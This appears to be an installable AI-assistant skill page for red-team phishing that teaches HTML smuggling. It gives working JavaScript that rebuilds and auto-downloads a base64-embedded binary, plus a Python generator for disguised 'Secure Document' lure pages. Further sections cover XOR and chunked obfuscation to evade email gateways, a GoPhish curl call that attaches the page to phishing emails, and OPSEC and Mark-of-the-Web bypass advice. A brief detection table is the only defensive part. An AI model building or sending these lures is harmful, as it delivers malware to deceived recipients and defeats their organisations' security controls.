HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.
Install with Codex or Claude Copy this prompt, paste it into Codex, Claude, or another assistant, and let it review the skill page and install it for you.
A direct command skips the review prompt. Inspect the source before running it.
HTML smuggling payloads for initial access — embed base64-encoded binaries inside an HTML attachment that reconstructs and auto-downloads the file client-side via JavaScript Blob, bypassing email gateway and proxy file-type inspection.
allowed-tools
Bash Read Write
metadata
{"subdomain":"phishing","when_to_use":"html smuggling blob javascript base64 iso zip msi initial access email attachment bypass gateway proxy file download t1027.006","mitre_attack":["T1027.006","T1566.001","T1204.002"],"tags":["phishing","html-smuggling","initial-access","evasion"]}
HTML Smuggling Lure
HTML smuggling abuses the browser's ability to construct files from
JavaScript — a base64-encoded payload is embedded directly in an HTML
email attachment or link. When opened, JavaScript decodes the blob,
creates an <a> element with a blob: URL, and triggers a download.
The payload never transits the wire as a detectable file type, so email
gateways and web proxies that inspect MIME types see only text/html.
Nobelium (SolarWinds), Qakbot, and IcedID campaigns have used this
technique extensively since 2021.
Prerequisites
A compiled payload (ISO, ZIP, MSI, IMG, or VHD) ready for delivery.
GoPhish or direct SMTP for delivery (gophish-campaign).
Minimal self-contained HTML that decodes a base64 payload and triggers
download:
<!DOCTYPE html><html><head><title>Secure Document</title></head><body><p>Your document is downloading...</p><script>// Base64 payload — replace with actual encoded contentvar b64 = "<BASE64_PAYLOAD>";
var fname = "<FILENAME>"; // e.g. "Report.iso"var mtype = "application/octet-stream";
var bytes = atob(b64);
var arr = newUint8Array(bytes.length);
for (var i = 0; i < bytes.length; i++) arr[i] = bytes.charCodeAt(i);
var blob = newBlob([arr], {type: mtype});
var a = document.createElement("a");
a.href = URL.createObjectURL(blob);
a.download = fname;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(a.href);
</script></body></html>
2. Generator Script
Automate HTML smuggling page creation with theming:
import base64
import sys
TEMPLATE = '''<!DOCTYPE html>
<html>
<head>
<title>{title}</title>
<style>
body {{ font-family: Segoe UI, sans-serif; display: flex;
justify-content: center; align-items: center; height: 100vh;
background: #f5f5f5; }}
.card {{ background: #fff; padding: 40px; border-radius: 4px;
box-shadow: 0 2px 8px rgba(0,0,0,.15); text-align: center; }}
.spinner {{ border: 4px solid #eee; border-top: 4px solid #0078d4;
border-radius: 50%; width: 40px; height: 40px;
animation: spin 1s linear infinite; margin: 20px auto; }}
@keyframes spin {{ to {{ transform: rotate(360deg); }} }}
</style>
</head>
<body>
<div class="card">
<h2>Opening Secure Document</h2>
<div class="spinner"></div>
<p>If the download does not start, <a id="dl" href="#">click here</a>.</p>
</div>
<script>
(function() {{
var d = "{b64data}";
var n = "{filename}";
var b = atob(d);
var u = new Uint8Array(b.length);
for (var i = 0; i < b.length; i++) u[i] = b.charCodeAt(i);
var bl = new Blob([u], {{type: "application/octet-stream"}});
var url = URL.createObjectURL(bl);
var a = document.getElementById("dl");
a.href = url; a.download = n;
var t = document.createElement("a");
t.href = url; t.download = n;
document.body.appendChild(t); t.click();
document.body.removeChild(t);
}})();
</script>
</body>
</html>'''defgenerate(payload_path, filename, title, output):
withopen(payload_path, "rb") as f:
b64 = base64.b64encode(f.read()).decode()
html = TEMPLATE.format(
title=title, b64data=b64,
filename=filename)
withopen(output, "w") as f:
f.write(html)
print(f"[+] Smuggle page written to {output} ({len(b64)} bytes encoded)")
# Usage: generate("/workspace/payload.iso", "Report.iso",# "Secure Document Portal", "/workspace/smuggle.html")
3. Obfuscation Layers
Basic base64 is trivially detected by static analysis. Layer
obfuscation to evade email gateway JavaScript scanners:
3a. XOR + base64
// Encode: XOR each byte with key, then base64functionxorEncode(data, key) {
var out = newUint8Array(data.length);
for (var i = 0; i < data.length; i++)
out[i] = data[i] ^ key.charCodeAt(i % key.length);
returnbtoa(String.fromCharCode.apply(null, out));
}
// Decode at runtimefunctionxorDecode(b64, key) {
var raw = atob(b64);
var out = newUint8Array(raw.length);
for (var i = 0; i < raw.length; i++)
out[i] = raw.charCodeAt(i) ^ key.charCodeAt(i % key.length);
return out;
}
3b. Chunked Reassembly
Split the base64 into multiple JS string variables concatenated at
runtime — defeats pattern-matching on large contiguous base64:
# Encode the HTML smuggling page for GoPhish attachment
B64HTML=$(base64 -w0 /workspace/smuggle.html)
curl -sk -H "Authorization: Bearer $GOPHISH_API_KEY" \
-H 'Content-Type: application/json' \
"$GOPHISH_API/templates/" -d "{
\"name\": \"secure-doc-delivery\",
\"subject\": \"Secure document from <SENDER_NAME>\",
\"html\": \"<p>Hi {{.FirstName}},</p><p>Please open the attached secure document.</p><p style='color:#999;font-size:10px'>{{.Tracker}}</p>\",
\"attachments\": [{
\"name\": \"SecureDoc.html\",
\"content\": \"$B64HTML\",
\"type\": \"text/html\"
}]
}"
OPSEC
HTML file name: use business-relevant names (SecureMessage.html,
Invoice_<NUM>.html). Avoid payload.html.
No text/html block rules: most orgs allow HTML attachments
(receipts, newsletters). Verify target policy first.
Payload size: base64 inflates by ~33%. Keep raw payloads <5 MB
so the HTML stays under common attachment size limits (10-25 MB).
Browser compatibility: Blob + createObjectURL works in all
modern browsers. Test in Edge (corporate default).
Strip all development comments and source maps from production HTML.
Tools & Resources
Tool
Purpose
Python base64
Payload encoding
GoPhish
Campaign delivery and tracking
msfvenom
Payload generation (MSI, EXE, DLL)
mkisofs / genisoimage
ISO image creation
qemu-img
VHD/VHDX creation
Detection Signatures
Detection
Source
Description
HTML attachment with Blob / createObjectURL
Email gateway JS analysis
Static scan for smuggling patterns
Large base64 string in HTML
Content inspection
Entropy analysis on HTML attachments
atob() + Uint8Array pattern
YARA / Sigma
Known smuggling JS idiom
ISO/VHD download from blob: URL
EDR (browser child process)
File materialised from browser without network fetch
Error Handling & Edge Cases
Browser blocks download: Chrome may block blob: downloads from
file:// context. Deliver as email attachment (opened via webmail) or
host on the lure domain.
Email gateway strips HTML attachments: fallback to a link pointing
at the HTML smuggling page hosted on the lure domain.
Mark-of-the-Web on ISO: Windows 11 22H2+ propagates MOTW into
ISO contents. Switch to password-protected ZIP or VHD.
Large payload truncation: if the HTML exceeds the email size
limit, use the external-fetch variant (§3c).
Decision Gate
IF target email gateway performs JavaScript analysis on HTML attachments
→ use external-fetch variant (§3c) with clean HTML
→ OR deliver via hosted link instead of attachment
ELIF target enforces MOTW on ISO files (Win11 22H2+)
→ use password-protected ZIP or VHD as payload container
ELIF payload is >5 MB
→ use external-fetch variant to keep HTML attachment small
ELIF engagement requires offline delivery (no C2 callback during download)
→ embed full payload inline with XOR obfuscation (§3a)
ELSE
→ standard inline base64 smuggling with chunked reassembly (§3b)
Evidence
Delivery confirmation from GoPhish → link to User node.
If the smuggled payload calls back, record the initial-access vector as
html-smuggling in the kill-chain node. Save the HTML template hash
under evidence/phisher/<campaign>-smuggle.json.